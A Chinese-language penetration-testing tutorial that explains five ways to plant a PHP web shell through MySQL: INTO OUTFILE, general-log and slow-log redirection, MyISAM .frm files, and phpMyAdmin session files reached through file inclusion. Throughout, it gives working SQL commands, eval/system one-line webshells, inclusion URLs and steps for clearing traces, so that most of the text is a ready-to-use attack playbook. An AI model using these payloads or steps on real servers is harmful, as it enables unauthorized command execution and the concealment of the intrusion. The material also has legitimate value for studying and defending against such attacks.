在网络安全渗透测试中,通过数据库写入文件获取服务器 Shell 是一种常见且有效的攻击手段。这种方式的核心在于利用数据库的文件操作权限,将恶意脚本写入 Web 可访问目录,进而实现对服务器的控制。以下详细介绍几种主流的实现方式及操作细节。
核心前提条件
成功通过写入文件获取 Shell,需同时满足三个基础条件,缺一不可:
- 数据库最高权限:需拥有 MySQL 的 root 权限,确保所有操作不受权限限制;
- 已知网站绝对路径:需明确网站在服务器上的物理路径(如
C:/phpStudy/WWW/
或/var/www/html/
),否则无法定位写入目标; - 数据库写权限:MySQL 需对目标 Web 目录有写入权限。MySQL 5.0 + 支持通过变量调整文件写入位置,但最终依赖操作系统对目录的权限配置。
注意:Linux 系统因用户权限隔离机制(如 MySQL 运行用户与 Web 服务用户通常不同),权限限制更严格,需确保目标目录允许跨用户写入(如设置 777 权限,实际环境中较少见但存在可能性)。
一、直接写入文件 GetShell
适用场景:
secure_file_priv
配置允许向目标 Web 目录写入文件时,是最直接高效的方法。原理:利用 MySQL 的
SELECT ... INTO OUTFILE
语句,直接将包含 PHP 代码的内容写入 Web 目录,生成可执行的恶意脚本。特殊前提
- 目标路径不存在同名文件(
INTO OUTFILE
不支持覆盖已有文件,会直接报错); secure_file_priv
参数配置满足写入条件(具体含义见下文)。
操作步骤
-
检查
secure_file_priv
配置
该参数控制 MySQL 的文件导入导出权限,执行以下 SQL 查询:show variables like '%secure%'; # 查看权限限制
返回结果对应三种情况:- 值为空:无目录限制,可写入任意路径;
- 值为具体路径(如
/tmp/
):仅允许在指定目录写入; - 值为
NULL
:禁止所有导入导出操作,此方法不可用。
-
写入 PHP 恶意脚本
根据服务器操作系统,使用对应路径格式(路径分隔符需转义):- Windows 系统(路径用双反斜线
\\
转义):select "<?php @eval($_POST['cmd']);?>" INTO OUTFILE "d:\\phpstudy\\www\\shell.php"
- Linux 系统(路径用正斜线
/
):select "<?php @eval($_POST['cmd']);?>" INTO OUTFILE "/var/www/html/shell.php"
执行成功后,访问http://目标网站/shell.php
,通过 POST 提交cmd
参数即可执行命令。 - Windows 系统(路径用双反斜线
二、通过日志文件写入 GetShell
适用场景:
secure_file_priv
限制严格(如仅允许写入/tmp/
),但可修改 MySQL 日志配置时。原理:将 MySQL 的通用日志(记录所有 SQL 操作)路径指向 Web 目录,执行含 PHP 代码的 SQL 语句,利用日志记录功能间接生成恶意脚本。
特殊前提
- MySQL 支持动态修改日志配置(大部分版本默认支持,无需重启服务);
- 目标 Web 目录对 MySQL 运行用户有写入权限。
操作步骤
-
开启通用日志
MySQL 默认关闭通用日志,需手动开启:set global general_log = "ON"; # 开启日志记录功能
-
查看当前日志路径
确认默认日志位置,避免覆盖重要文件:show variables like 'general%'; # 结果中general_log_file为当前日志路径
-
修改日志路径至 Web 目录
将日志文件指向 Web 可访问目录(替换为实际路径):- Windows 示例:
set global general_log_file = "C:/phpStudy/PHPTutorial/WWW/shell.php";
- Linux 示例:
set global general_log_file = "/var/www/html/shell.php";
- Windows 示例:
-
写入 PHP 代码
执行含恶意代码的 SQL 语句,内容会被日志记录:select "<?php @eval($_POST['cmd']);?>"; # 日志文件中将包含该PHP代码
-
清理痕迹(可选)
关闭通用日志避免后续操作污染 Shell 文件:set global general_log = "OFF"; # 关闭日志功能
三、通过慢查询日志写入 WebShell
适用场景:通用日志配置被限制,但慢查询日志可修改时。
原理:慢查询日志用于记录执行时间超过阈值(默认 10 秒)的 SQL 语句。将其路径指向 Web 目录后,通过执行延迟 SQL 语句触发日志记录,写入恶意代码。
特殊前提
- 慢查询阈值(
long_query_time
)默认 10 秒,需确保 SQL 执行时间超过该值; - 目标 Web 目录对 MySQL 用户可写。
操作步骤
-
查看慢查询日志配置
确认当前状态及默认路径:show variables like '%slow%'; # 关注slow_query_log(状态)和slow_query_log_file(路径)
-
设置慢查询日志路径
指向 Web 目录(替换为实际路径):- Windows 示例:
set global slow_query_log_file = "C:/phpStudy/PHPTutorial/WWW/slow_shell.php";
- Linux 示例:
set global slow_query_log_file = "/var/www/html/slow_shell.php";
- Windows 示例:
-
开启慢查询日志
set global slow_query_log = "ON"; # 启用慢查询日志
-
执行延迟 SQL 写入代码
通过sleep(10)
确保触发慢查询记录:select '<?php @eval($_POST["cmd"]);?>' from mysql.db where sleep(10); # 延迟10秒满足阈值
-
清理痕迹(可选)
set global slow_query_log = "OFF"; # 关闭慢查询日志
四、利用数据库表文件 GetShell
适用场景:
secure_file_priv
限制严格,但存在文件包含漏洞(如 PhpMyAdmin 自身漏洞)时。原理:MySQL 的 MyISAM 引擎数据表会生成
.frm
结构文件(存储表结构),通过创建含 PHP 代码的表结构,将恶意代码写入.frm
文件,再通过文件包含漏洞执行。特殊前提
- 数据库使用 MyISAM 引擎(InnoDB 引擎的
.frm
文件格式不同,难以直接利用); - 存在可利用的文件包含漏洞(如网站脚本的
include()
函数未过滤路径参数)。
操作步骤
-
创建含恶意代码的数据表
在目标数据库中创建表,将 PHP 代码嵌入字段名:CREATE TABLE `malicious_table` ( `<?php @eval($_POST['cmd']);?>` INT NOT NULL -- 字段名包含一句话木马 ) ENGINE=MyISAM; -- 必须指定MyISAM引擎
-
获取数据表文件路径
执行 SQL 查询数据库存储目录:show variables like '%datadir%'; # 如Windows:C:/phpStudy/MySQL/data/;Linux:/var/lib/mysql/
数据表文件完整路径为:{数据目录}/{数据库名}/malicious_table.frm
示例:C:/phpStudy/MySQL/data/test/malicious_table.frm
(Windows)。 -
通过文件包含漏洞执行
构造包含.frm
文件的请求:http://目标网站/include.php?file=../../MySQL/data/test/malicious_table.frm
提交 POST 参数cmd=phpinfo();
即可执行命令。
五、利用 Session 文件 GetShell
适用场景:针对 PhpMyAdmin 等依赖 Session 的管理工具,且存在文件包含漏洞时。
原理:PhpMyAdmin 会将用户操作(如 SQL 查询)记录到 Session 文件中。执行含 PHP 代码的 SQL 语句,恶意代码会被写入 Session 文件,再通过文件包含漏洞调用。
特殊前提
- 已知 Session 文件存储路径(通常对应 PHP 配置的
session.save_path
); - 存在可包含 Session 文件的漏洞(如 PhpMyAdmin 的
target
参数文件包含)。
操作步骤
-
写入恶意代码到 Session
执行含 PHP 代码的 SQL 查询,内容会被记录到当前 Session 文件:select '<?php system($_GET["cmd"]);?>' -- 执行后写入Session文件
-
获取 Session ID 与文件路径
- Session ID:从浏览器 Cookie 中获取(如
phpMyAdmin=abc123456
,对应 Session 文件名为sess_abc123456
); - Session 路径:通过 PhpMyAdmin 首页的 PHP 信息查看
session.save_path
,示例:- Windows:
C:/phpStudy/tmp/sess_abc123456
- Linux:
/var/lib/php/sessions/sess_abc123456
- Windows:
- Session ID:从浏览器 Cookie 中获取(如
-
构造包含请求
利用文件包含漏洞访问 Session 文件:http://目标/phpmyadmin/index.php?target=../../tmp/sess_abc123456&cmd=whoami
总结
通过写入文件获取 Shell 的核心在于 “权限 + 路径 + 写入点” 的结合:
- 权限是基础(root 权限 + 目录可写);
- 路径是关键(需准确知晓 Web 目录或可被包含的文件路径);
- 写入点是手段(直接写入、日志、表文件、Session 等,根据环境灵活选择)。
实际渗透中,需先通过信息收集确认目标环境的配置(如
secure_file_priv
、数据库引擎、是否存在文件包含漏洞等),再选择最适配的方法。